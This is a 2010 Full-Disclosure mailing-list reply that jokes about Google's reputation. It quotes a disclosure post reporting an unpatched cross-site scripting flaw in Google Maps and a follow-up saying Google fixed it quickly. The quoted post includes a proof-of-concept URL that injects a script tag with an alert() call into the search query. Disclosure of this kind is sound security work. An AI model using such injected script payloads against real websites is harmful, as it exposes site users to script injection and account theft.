ah, Google... the only company in IT that can have an unpatched vulnerability released to the world and get good publicity out of it.
Don't get me wrong, I'm not in the GoogleSucksAndIsEvil crowd... I have friends that work for them, and I like to see a company like them doing well. Still, I can't help but suspect that one day in 50 years, Larry Page is going to be lying on his deathbed when out of a puff of smoke appears the Devil, who raises his trident and says "So, Mr Page, about that soul you signed away..." On 13/01/2010, Robin Sage <robin.s...@rocketmail.com> wrote: > Google was quick on that one! It worked an hour and a half ago. > > - Robin > > > > > ________________________________ > From: gaurav baruah <baruah.gau...@gmail.com> > To: full-disclosure@lists.grok.org.uk > Sent: Tue, January 12, 2010 6:20:32 AM > Subject: [Full-disclosure] Google Maps XSS (currently unpatched) > > Google Maps XSS (currently unpatched) > > Discovered By - > Pratul Agrawal (pratu...@gmail.com) > Gaurav Baruah (baruah.gau...@gmail.com) > > > PoC - > http://maps.google.com/maps?f=q&source=s_q&hl=en&geocode=&q=%3Cscript%3Ealert(%22Google%20Sucks%20!%22)%3C/script%3E&vps=1&sll=28.613554,77.20906&sspn=0.009136,0.013797&ie=UTF8 > > _______________________________________________ > Full-Disclosure - We believe in it. > Charter: http://lists.grok.org.uk/full-disclosure-charter.html > Hosted and sponsored by Secunia - http://secunia.com/ > > > > _______________________________________________ Full-Disclosure - We believe in it. Charter: http://lists.grok.org.uk/full-disclosure-charter.html Hosted and sponsored by Secunia - http://secunia.com/
